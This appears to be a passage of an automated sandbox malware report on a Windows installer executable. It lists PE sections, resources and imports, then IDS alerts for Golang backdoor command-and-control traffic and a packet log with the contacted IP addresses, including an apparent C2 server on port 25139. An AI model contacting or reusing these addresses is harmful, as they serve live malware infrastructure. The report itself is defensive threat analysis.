IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x10ea80	0x88c	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xffdc8	0xffe00	de5f49260bb90d8d1e2e922872ccd636	False	0.4830248916096727	data	6.590737520337448	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0x101000	0x17f4	0x1800	eb5323291d86155b4efcb8378c9c4adc	False	0.5242513020833334	data	6.004648972685504	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x103000	0x308c	0x3200	c2acc8e96fc244753abd1d87bb624bc0	False	0.425078125	data	4.3575606000501415	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0x107000	0x6198	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x10e000	0x3840	0x3a00	0e1e8128f777a5ff18a144305a4fb39c	False	0.3108836206896552	data	5.2048781278956655	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x112000	0x3c	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x113000	0x18	0x200	9cf98ea6bb17a35d99fa770a2e9a8ff0	False	0.05078125	MacBinary, Mon Feb 6 07:28:16 2040 INVALID date, modified Mon Feb 6 07:28:16 2040 "Q"	0.2108262677871819	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x114000	0x7d90fc	0x7d9200	353cbee8ae0e2a3c9acdb07ce0da5a3e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x114e80	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_CURSOR	0x114fb4	0x134	data	English	United States	0.4642857142857143
RT_CURSOR	0x1150e8	0x134	data	English	United States	0.4805194805194805
RT_CURSOR	0x11521c	0x134	data	English	United States	0.38311688311688313
RT_CURSOR	0x115350	0x134	data	English	United States	0.36038961038961037
RT_CURSOR	0x115484	0x134	data	English	United States	0.4090909090909091
RT_CURSOR	0x1155b8	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4967532467532468
RT_BITMAP	0x1156ec	0x4e8	Device independent bitmap graphic, 48 x 48 x 4, image size 1152			0.2945859872611465
RT_BITMAP	0x115bd4	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128			0.521551724137931
RT_ICON	0x115cbc	0xbb3d	PC bitmap, Windows 3.x format, 6211 x 2 x 51, image size 48174, cbSize 47933, bits offset 54			0.4672146537875785
RT_ICON	0x1217fc	0x6442	PC bitmap, Windows 3.x format, 3403 x 2 x 39, image size 26415, cbSize 25666, bits offset 54			0.5660017143302424
RT_ICON	0x127c40	0x392f	PC bitmap, Windows 3.x format, 2117 x 2 x 51, image size 14801, cbSize 14639, bits offset 54			0.5403374547441765
RT_ICON	0x12b570	0x16c45	PC bitmap, Windows 3.x format, 12059 x 2 x 54, image size 93532, cbSize 93253, bits offset 54			0.5215060105304923
RT_ICON	0x1421b8	0x74c036	PC bitmap, Windows 3.x format, 956907 x 2 x 42, image size 7651831, cbSize 7651382, bits offset 54			0.6329851150512695
RT_ICON	0x88e1f0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.16124733475479744
RT_ICON	0x88f098	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.18005415162454874
RT_ICON	0x88f940	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States	0.17799539170506912
RT_ICON	0x890008	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.16473988439306358
RT_ICON	0x890570	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.013026304109832234
RT_ICON	0x8d2598	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.07717842323651453
RT_ICON	0x8d4b40	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.0947467166979362
RT_ICON	0x8d5be8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.1540983606557377
RT_ICON	0x8d6570	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.19858156028368795
RT_STRING	0x8d69d8	0xec	data			0.6059322033898306
RT_STRING	0x8d6ac4	0x250	data			0.47466216216216217
RT_STRING	0x8d6d14	0x28c	data			0.4647239263803681
RT_STRING	0x8d6fa0	0x3e4	data			0.4347389558232932
RT_STRING	0x8d7384	0x9c	data			0.717948717948718
RT_STRING	0x8d7420	0xe8	data			0.6293103448275862
RT_STRING	0x8d7508	0x468	data			0.3820921985815603
RT_STRING	0x8d7970	0x38c	data			0.3898678414096916
RT_STRING	0x8d7cfc	0x3dc	data			0.39271255060728744
RT_STRING	0x8d80d8	0x360	data			0.37037037037037035
RT_STRING	0x8d8438	0x40c	data			0.3783783783783784
RT_STRING	0x8d8844	0x108	data			0.5113636363636364
RT_STRING	0x8d894c	0xcc	data			0.6029411764705882
RT_STRING	0x8d8a18	0x234	data			0.5070921985815603
RT_STRING	0x8d8c4c	0x3c8	data			0.3181818181818182
RT_STRING	0x8d9014	0x32c	data			0.43349753694581283
RT_STRING	0x8d9340	0x2a0	data			0.41964285714285715
RT_RCDATA	0x8d95e0	0x82e8	data	English	United States	0.11261637622344235
RT_RCDATA	0x8e18c8	0x10	data			1.5
RT_RCDATA	0x8e18d8	0x1800	PE32+ executable (console) x86-64, for MS Windows	English	United States	0.3924153645833333
RT_RCDATA	0x8e30d8	0x6bc	data			0.6467517401392111
RT_RCDATA	0x8e3794	0x5b10	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows	English	United States	0.3255404941660947
RT_RCDATA	0x8e92a4	0x125	Delphi compiled form 'TMainForm'			0.7508532423208191
RT_RCDATA	0x8e93cc	0x3a2	Delphi compiled form 'TNewDiskForm'			0.524731182795699
RT_RCDATA	0x8e9770	0x320	Delphi compiled form 'TSelectFolderForm'			0.53625
RT_RCDATA	0x8e9a90	0x300	Delphi compiled form 'TSelectLanguageForm'			0.5703125
RT_RCDATA	0x8e9d90	0x5d9	Delphi compiled form 'TUninstallProgressForm'			0.4562458249832999
RT_RCDATA	0x8ea36c	0x461	Delphi compiled form 'TUninstSharedFileForm'			0.4335414808206958
RT_RCDATA	0x8ea7d0	0x2092	Delphi compiled form 'TWizardForm'			0.2299112497001679
RT_GROUP_CURSOR	0x8ec864	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x8ec878	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x8ec88c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x8ec8a0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x8ec8b4	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x8ec8c8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x8ec8dc	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0x8ec8f0	0x84	data	English	United States	0.6590909090909091
RT_VERSION	0x8ec974	0x15c	data	English	United States	0.5689655172413793
RT_MANIFEST	0x8ecad0	0x62c	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.4240506329113924

Imports

DLL	Import
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
advapi32.dll	RegQueryValueExW, RegOpenKeyExW, RegCloseKey
user32.dll	GetKeyboardType, LoadStringW, MessageBoxA, CharNextW
kernel32.dll	GetACP, Sleep, VirtualFree, VirtualAlloc, GetSystemInfo, GetTickCount, QueryPerformanceCounter, GetVersion, GetCurrentThreadId, VirtualQuery, WideCharToMultiByte, SetCurrentDirectoryW, MultiByteToWideChar, lstrlenW, lstrcpynW, LoadLibraryExW, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleW, GetModuleFileNameW, GetLocaleInfoW, GetCurrentDirectoryW, GetCommandLineW, FreeLibrary, FindFirstFileW, FindClose, ExitProcess, ExitThread, CreateThread, CompareStringW, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle, CloseHandle
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleW
user32.dll	CreateWindowExW, WindowFromPoint, WaitMessage, WaitForInputIdle, UpdateWindow, UnregisterClassW, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoW, ShowWindow, ShowScrollBar, ShowOwnedPopups, SetWindowsHookExW, SetWindowTextW, SetWindowPos, SetWindowPlacement, SetWindowLongW, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRectEmpty, SetRect, SetPropW, SetParent, SetMenuItemInfoW, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongW, SetCapture, SetActiveWindow, SendNotifyMessageW, SendMessageTimeoutW, SendMessageA, SendMessageW, ScrollWindowEx, ScrollWindow, ScreenToClient, ReplyMessage, RemovePropW, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageW, RegisterClipboardFormatW, RegisterClassW, RedrawWindow, PtInRect, PostQuitMessage, PostMessageW, PeekMessageA, PeekMessageW, OffsetRect, OemToCharBuffA, MsgWaitForMultipleObjectsEx, MsgWaitForMultipleObjects, MessageBoxW, MessageBeep, MapWindowPoints, MapVirtualKeyW, LoadStringW, LoadKeyboardLayoutW, LoadIconW, LoadCursorW, LoadBitmapW, KillTimer, IsZoomed, IsWindowVisible, IsWindowUnicode, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageA, IsDialogMessageW, IsChild, InvalidateRect, IntersectRect, InsertMenuItemW, InsertMenuW, InflateRect, GetWindowThreadProcessId, GetWindowTextW, GetWindowRect, GetWindowPlacement, GetWindowLongW, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropW, GetParent, GetWindow, GetMessagePos, GetMessageW, GetMenuStringW, GetMenuState, GetMenuItemInfoW, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutNameW, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextW, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClientRect, GetClassLongW, GetClassInfoW, GetCapture, GetActiveWindow, FrameRect, FindWindowExW, FindWindowW, FillRect, ExitWindowsEx, EnumWindows, EnumThreadWindows, EnumChildWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextExW, DrawTextW, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawFocusRect, DrawEdge, DispatchMessageA, DispatchMessageW, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcW, DefMDIChildProcW, DefFrameProcW, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CharUpperBuffW, CharNextW, CharLowerBuffW, CharLowerW, CallWindowProcW, CallNextHookEx, BringWindowToTop, BeginPaint, AppendMenuW, CharToOemBuffA, AdjustWindowRectEx, ActivateKeyboardLayout
msimg32.dll	AlphaBlend
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RoundRect, RestoreDC, RemoveFontResourceW, Rectangle, RectVisible, RealizePalette, Polyline, Pie, PatBlt, MoveToEx, MaskBlt, LineTo, LineDDA, IntersectClipRect, GetWindowOrgEx, GetTextMetricsW, GetTextExtentPointW, GetTextExtentPoint32W, GetSystemPaletteEntries, GetStockObject, GetRgnBox, GetPixel, GetPaletteEntries, GetObjectW, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, FrameRgn, ExtTextOutW, ExtFloodFill, ExcludeClipRect, EnumFontsW, Ellipse, DeleteObject, DeleteDC, CreateSolidBrush, CreateRectRgn, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectW, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, Chord, BitBlt, Arc, AddFontResourceW
version.dll	VerQueryValueW, GetFileVersionInfoSizeW, GetFileVersionInfoW
mpr.dll	WNetOpenEnumW, WNetGetUniversalNameW, WNetGetConnectionW, WNetEnumResourceW, WNetCloseEnum
kernel32.dll	lstrcpyW, lstrcmpW, WriteProfileStringW, WritePrivateProfileStringW, WriteFile, WideCharToMultiByte, WaitForSingleObject, WaitForMultipleObjectsEx, VirtualQueryEx, VirtualQuery, VirtualFree, VirtualAlloc, TransactNamedPipe, TerminateProcess, SwitchToThread, SizeofResource, SignalObjectAndWait, SetThreadLocale, SetNamedPipeHandleState, SetLastError, SetFileTime, SetFilePointer, SetFileAttributesW, SetEvent, SetErrorMode, SetEndOfFile, SetCurrentDirectoryW, ResumeThread, ResetEvent, RemoveDirectoryW, ReleaseMutex, ReadFile, QueryPerformanceCounter, OpenProcess, OpenMutexW, MultiByteToWideChar, MulDiv, MoveFileExW, MoveFileW, LockResource, LocalFree, LocalFileTimeToFileTime, LoadResource, LoadLibraryExW, LoadLibraryW, LeaveCriticalSection, IsDBCSLeadByte, IsBadWritePtr, InitializeCriticalSection, GlobalFindAtomW, GlobalDeleteAtom, GlobalAddAtomW, GetWindowsDirectoryW, GetVersionExW, GetVersion, GetUserDefaultLangID, GetTickCount, GetThreadLocale, GetSystemTimeAsFileTime, GetSystemInfo, GetSystemDirectoryW, GetStdHandle, GetShortPathNameW, GetProfileStringW, GetProcAddress, GetPrivateProfileStringW, GetOverlappedResult, GetModuleHandleW, GetModuleFileNameW, GetLogicalDrives, GetLocaleInfoW, GetLocalTime, GetLastError, GetFullPathNameW, GetFileSize, GetFileAttributesW, GetExitCodeThread, GetExitCodeProcess, GetEnvironmentVariableW, GetDriveTypeW, GetDiskFreeSpaceW, GetDateFormatW, GetCurrentThreadId, GetCurrentThread, GetCurrentProcessId, GetCurrentProcess, GetCurrentDirectoryW, GetComputerNameW, GetCommandLineW, GetCPInfo, FreeResource, InterlockedIncrement, InterlockedExchangeAdd, InterlockedExchange, InterlockedDecrement, InterlockedCompareExchange, FreeLibrary, FormatMessageW, FlushFileBuffers, FindResourceW, FindNextFileW, FindFirstFileW, FindClose, FileTimeToSystemTime, FileTimeToLocalFileTime, EnumCalendarInfoW, EnterCriticalSection, DeviceIoControl, DeleteFileW, DeleteCriticalSection, CreateThread, CreateProcessW, CreateNamedPipeW, CreateMutexW, CreateFileW, CreateEventW, CreateDirectoryW, CopyFileW, CompareStringW, CompareFileTime, CloseHandle
advapi32.dll	SetSecurityDescriptorDacl, RegSetValueExW, RegQueryValueExW, RegQueryInfoKeyW, RegOpenKeyExW, RegFlushKey, RegEnumValueW, RegEnumKeyExW, RegDeleteValueW, RegDeleteKeyW, RegCreateKeyExW, RegCloseKey, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, InitializeSecurityDescriptor, GetUserNameW, GetTokenInformation, FreeSid, EqualSid, AllocateAndInitializeSid
comctl32.dll	InitCommonControls
kernel32.dll	Sleep
oleaut32.dll	GetErrorInfo, GetActiveObject, RegisterTypeLib, LoadTypeLib, SysFreeString
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CLSIDFromProgID, CLSIDFromString, StringFromCLSID, CoCreateInstance, CoFreeUnusedLibraries, CoUninitialize, CoInitialize, IsEqualGUID
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayPutElement, SafeArrayGetElement, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopyInd, VariantCopy, VariantClear, VariantInit
comctl32.dll	InitializeFlatSB, FlatSB_SetScrollProp, FlatSB_SetScrollPos, FlatSB_SetScrollInfo, FlatSB_GetScrollPos, FlatSB_GetScrollInfo, _TrackMouseEvent, ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_Add, ImageList_SetImageCount, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create, InitCommonControls
shell32.dll	ShellExecuteExW, ShellExecuteW, SHGetFileInfoW, ExtractIconW
shell32.dll	SHGetPathFromIDListW, SHGetMalloc, SHChangeNotify, SHBrowseForFolderW
comdlg32.dll	GetSaveFileNameW, GetOpenFileNameW
ole32.dll	CoDisconnectObject
advapi32.dll	AdjustTokenPrivileges
oleaut32.dll	SysFreeString

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-06T17:18:58.773033+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	172.202.163.200	443	192.168.2.8	49709	TCP
2024-11-06T17:19:22.896584+0100	2855539	ETPRO MALWARE Unknown Golang Backdoor CnC Server Response M2	1	185.121.233.152	25139	192.168.2.8	49718	TCP
2024-11-06T17:19:22.896893+0100	2855536	ETPRO MALWARE Unknown Golang Backdoor CnC Client Request M1	1	192.168.2.8	49718	185.121.233.152	25139	TCP
2024-11-06T17:19:37.328755+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	172.202.163.200	443	192.168.2.8	49719	TCP
2024-11-06T17:19:52.178566+0100	2855537	ETPRO MALWARE Unknown Golang Backdoor CnC Client Request M2	1	192.168.2.8	49718	185.121.233.152	25139	TCP
2024-11-06T17:19:52.412438+0100	2855538	ETPRO MALWARE Unknown Golang Backdoor CnC Server Response M1	1	185.121.233.152	25139	192.168.2.8	49718	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 6, 2024 17:18:43.027559042 CET	49704	80	192.168.2.8	46.8.232.106
Nov 6, 2024 17:18:43.032548904 CET	80	49704	46.8.232.106	192.168.2.8
Nov 6, 2024 17:18:43.032680988 CET	49704	80	192.168.2.8	46.8.232.106
Nov 6, 2024 17:18:43.033643961 CET	49704	80	192.168.2.8	46.8.232.106
Nov 6, 2024 17:18:43.038661003 CET	80	49704	46.8.232.106	192.168.2.8
Nov 6, 2024 17:18:43.878026009 CET	80	49704	46.8.232.106	192.168.2.8
Nov 6, 2024 17:18:43.933614016 CET	49704	80	192.168.2.8	46.8.232.106
Nov 6, 2024 17:18:43.983134031 CET	49705	80	192.168.2.8	46.8.236.61
Nov 6, 2024 17:18:43.988116980 CET	80	49705	46.8.236.61	192.168.2.8
Nov 6, 2024 17:18:43.988230944 CET	49705	80	192.168.2.8	46.8.236.61
Nov 6, 2024 17:18:43.996113062 CET	49705	80	192.168.2.8	46.8.236.61
Nov 6, 2024 17:18:44.001965046 CET	80	49705	46.8.236.61	192.168.2.8
Nov 6, 2024 17:18:44.880003929 CET	80	49705	46.8.236.61	192.168.2.8
Nov 6, 2024 17:18:44.918684006 CET	49706	80	192.168.2.8	93.185.159.253
Nov 6, 2024 17:18:44.923728943 CET	80	49706	93.185.159.253	192.168.2.8
Nov 6, 2024 17:18:44.924094915 CET	49706	80	192.168.2.8	93.185.159.253
Nov 6, 2024 17:18:44.924094915 CET	49706	80	192.168.2.8	93.185.159.253
Nov 6, 2024 17:18:44.929060936 CET	80	49706	93.185.159.253	192.168.2.8
Nov 6, 2024 17:18:44.940129042 CET	49705	80	192.168.2.8	46.8.236.61
Nov 6, 2024 17:18:45.792134047 CET	80	49706	93.185.159.253	192.168.2.8
Nov 6, 2024 17:18:45.815233946 CET	49707	80	192.168.2.8	91.212.166.91
Nov 6, 2024 17:18:45.820086956 CET	80	49707	91.212.166.91	192.168.2.8
Nov 6, 2024 17:18:45.820153952 CET	49707	80	192.168.2.8	91.212.166.91
Nov 6, 2024 17:18:45.820377111 CET	49707	80	192.168.2.8	91.212.166.91
Nov 6, 2024 17:18:45.826106071 CET	80	49707	91.212.166.91	192.168.2.8
Nov 6, 2024 17:18:45.836409092 CET	49706	80	192.168.2.8	93.185.159.253
Nov 6, 2024 17:18:46.723715067 CET	80	49707	91.212.166.91	192.168.2.8
Nov 6, 2024 17:18:46.744668961 CET	49708	80	192.168.2.8	188.130.206.243
Nov 6, 2024 17:18:46.749959946 CET	80	49708	188.130.206.243	192.168.2.8
Nov 6, 2024 17:18:46.750049114 CET	49708	80	192.168.2.8	188.130.206.243
Nov 6, 2024 17:18:46.753221989 CET	49708	80	192.168.2.8	188.130.206.243
Nov 6, 2024 17:18:46.758095980 CET	80	49708	188.130.206.243	192.168.2.8
Nov 6, 2024 17:18:46.768897057 CET	49707	80	192.168.2.8	91.212.166.91
Nov 6, 2024 17:18:47.967667103 CET	80	49708	188.130.206.243	192.168.2.8
Nov 6, 2024 17:18:47.968067884 CET	49708	80	192.168.2.8	188.130.206.243
Nov 6, 2024 17:18:47.968075991 CET	49707	80	192.168.2.8	91.212.166.91
Nov 6, 2024 17:18:47.968076944 CET	49705	80	192.168.2.8	46.8.236.61
Nov 6, 2024 17:18:47.968080997 CET	49706	80	192.168.2.8	93.185.159.253
Nov 6, 2024 17:18:47.972691059 CET	49704	80	192.168.2.8	46.8.232.106
Nov 6, 2024 17:18:47.974483013 CET	80	49706	93.185.159.253	192.168.2.8
Nov 6, 2024 17:18:47.974500895 CET	80	49707	91.212.166.91	192.168.2.8
Nov 6, 2024 17:18:47.974515915 CET	80	49708	188.130.206.243	192.168.2.8
Nov 6, 2024 17:18:47.974560022 CET	80	49705	46.8.236.61	192.168.2.8
Nov 6, 2024 17:18:47.974597931 CET	49706	80	192.168.2.8	93.185.159.253
Nov 6, 2024 17:18:47.974606037 CET	49707	80	192.168.2.8	91.212.166.91
Nov 6, 2024 17:18:47.974632978 CET	49708	80	192.168.2.8	188.130.206.243
Nov 6, 2024 17:18:47.974661112 CET	49705	80	192.168.2.8	46.8.236.61
Nov 6, 2024 17:18:47.978332043 CET	80	49704	46.8.232.106	192.168.2.8
Nov 6, 2024 17:18:47.978429079 CET	49704	80	192.168.2.8	46.8.232.106
Nov 6, 2024 17:19:18.031707048 CET	49714	80	192.168.2.8	46.8.232.106
Nov 6, 2024 17:19:18.036750078 CET	80	49714	46.8.232.106	192.168.2.8
Nov 6, 2024 17:19:18.036890984 CET	49714	80	192.168.2.8	46.8.232.106
Nov 6, 2024 17:19:18.042007923 CET	49714	80	192.168.2.8	46.8.232.106
Nov 6, 2024 17:19:18.047255039 CET	80	49714	46.8.232.106	192.168.2.8
Nov 6, 2024 17:19:18.992965937 CET	80	49714	46.8.232.106	192.168.2.8
Nov 6, 2024 17:19:19.016408920 CET	49715	80	192.168.2.8	46.8.236.61
Nov 6, 2024 17:19:19.021394014 CET	80	49715	46.8.236.61	192.168.2.8
Nov 6, 2024 17:19:19.021543026 CET	49715	80	192.168.2.8	46.8.236.61
Nov 6, 2024 17:19:19.021840096 CET	49715	80	192.168.2.8	46.8.236.61
Nov 6, 2024 17:19:19.026906967 CET	80	49715	46.8.236.61	192.168.2.8
Nov 6, 2024 17:19:19.037812948 CET	49714	80	192.168.2.8	46.8.232.106
Nov 6, 2024 17:19:19.890888929 CET	80	49715	46.8.236.61	192.168.2.8
Nov 6, 2024 17:19:19.916244030 CET	49716	80	192.168.2.8	93.185.159.253
Nov 6, 2024 17:19:19.921613932 CET	80	49716	93.185.159.253	192.168.2.8
Nov 6, 2024 17:19:19.921799898 CET	49716	80	192.168.2.8	93.185.159.253
Nov 6, 2024 17:19:19.922182083 CET	49716	80	192.168.2.8	93.185.159.253
Nov 6, 2024 17:19:19.927182913 CET	80	49716	93.185.159.253	192.168.2.8
Nov 6, 2024 17:19:19.938148975 CET	49715	80	192.168.2.8	46.8.236.61
Nov 6, 2024 17:19:20.829529047 CET	80	49716	93.185.159.253	192.168.2.8
Nov 6, 2024 17:19:20.868208885 CET	49717	80	192.168.2.8	91.212.166.91
Nov 6, 2024 17:19:20.873178005 CET	80	49717	91.212.166.91	192.168.2.8
Nov 6, 2024 17:19:20.873308897 CET	49717	80	192.168.2.8	91.212.166.91
Nov 6, 2024 17:19:20.873711109 CET	49717	80	192.168.2.8	91.212.166.91
Nov 6, 2024 17:19:20.878752947 CET	80	49717	91.212.166.91	192.168.2.8
Nov 6, 2024 17:19:20.889595032 CET	49716	80	192.168.2.8	93.185.159.253
Nov 6, 2024 17:19:22.175688028 CET	80	49717	91.212.166.91	192.168.2.8
Nov 6, 2024 17:19:22.180007935 CET	49716	80	192.168.2.8	93.185.159.253
Nov 6, 2024 17:19:22.180099964 CET	49715	80	192.168.2.8	46.8.236.61
Nov 6, 2024 17:19:22.180128098 CET	49714	80	192.168.2.8	46.8.232.106
Nov 6, 2024 17:19:22.180381060 CET	49718	25139	192.168.2.8	185.121.233.152
Nov 6, 2024 17:19:22.188976049 CET	80	49716	93.185.159.253	192.168.2.8
Nov 6, 2024 17:19:22.188992023 CET	80	49715	46.8.236.61	192.168.2.8
Nov 6, 2024 17:19:22.189002991 CET	80	49714	46.8.232.106	192.168.2.8
Nov 6, 2024 17:19:22.189013958 CET	25139	49718	185.121.233.152	192.168.2.8
Nov 6, 2024 17:19:22.189028025 CET	49716	80	192.168.2.8	93.185.159.253
Nov 6, 2024 17:19:22.189064980 CET	49715	80	192.168.2.8	46.8.236.61
Nov 6, 2024 17:19:22.189091921 CET	49714	80	192.168.2.8	46.8.232.106
Nov 6, 2024 17:19:22.189121962 CET	49718	25139	192.168.2.8	185.121.233.152
Nov 6, 2024 17:19:22.221319914 CET	49717	80	192.168.2.8	91.212.166.91
Nov 6, 2024 17:19:22.896584034 CET	25139	49718	185.121.233.152	192.168.2.8
Nov 6, 2024 17:19:22.896893024 CET	49718	25139	192.168.2.8	185.121.233.152
Nov 6, 2024 17:19:22.901871920 CET	25139	49718	185.121.233.152	192.168.2.8
Nov 6, 2024 17:19:37.913849115 CET	49718	25139	192.168.2.8	185.121.233.152
Nov 6, 2024 17:19:37.918845892 CET	25139	49718	185.121.233.152	192.168.2.8
Nov 6, 2024 17:19:42.896240950 CET	25139	49718	185.121.233.152	192.168.2.8
Nov 6, 2024 17:19:42.896509886 CET	49718	25139	192.168.2.8	185.121.233.152
Nov 6, 2024 17:19:42.901350021 CET	25139	49718	185.121.233.152	192.168.2.8
Nov 6, 2024 17:19:52.178417921 CET	49717	80	192.168.2.8	91.212.166.91
Nov 6, 2024 17:19:52.178565979 CET	49718	25139	192.168.2.8	185.121.233.152
Nov 6, 2024 17:19:52.183341026 CET	80	49717	91.212.166.91	192.168.2.8
Nov 6, 2024 17:19:52.183396101 CET	25139	49718	185.121.233.152	192.168.2.8
Nov 6, 2024 17:19:52.412437916 CET	25139	49718	185.121.233.152	192.168.2.8
Nov 6, 2024 17:19:52.460222006 CET	49718	25139	192.168.2.8	185.121.233.152
Nov 6, 2024 17:20:03.131012917 CET	25139	49718	185.121.233.152	192.168.2.8
Nov 6, 2024 17:20:03.131298065 CET	49718	25139	192.168.2.8	185.121.233.152
Nov 6, 2024 17:20:03.137011051 CET	25139	49718	185.121.233.152	192.168.2.8
Nov 6, 2024 17:20:18.147659063 CET	49718	25139	192.168.2.8	185.121.233.152
Nov 6, 2024 17:20:18.152623892 CET	25139	49718	185.121.233.152	192.168.2.8
Nov 6, 2024 17:20:22.194598913 CET	49717	80	192.168.2.8	91.212.166.91
Nov 6, 2024 17:20:22.199640036 CET	80	49717	91.212.166.91	192.168.2.8
Nov 6, 2024 17:20:22.413486958 CET	49718	25139	192.168.2.8	185.121.233.152
Nov 6, 2024 17:20:22.418364048 CET	25139	49718	185.121.233.152	192.168.2.8
Nov 6, 2024 17:20:22.647130013 CET	25139	49718	185.121.233.152	192.168.2.8
Nov 6, 2024 17:20:22.694717884 CET	49718	25139	192.168.2.8	185.121.233.152
Nov 6, 2024 17:20:23.382080078 CET	25139	49718	185.121.233.152	192.168.2.8
Nov 6, 2024 17:20:23.382551908 CET	49718	25139	192.168.2.8	185.121.233.152
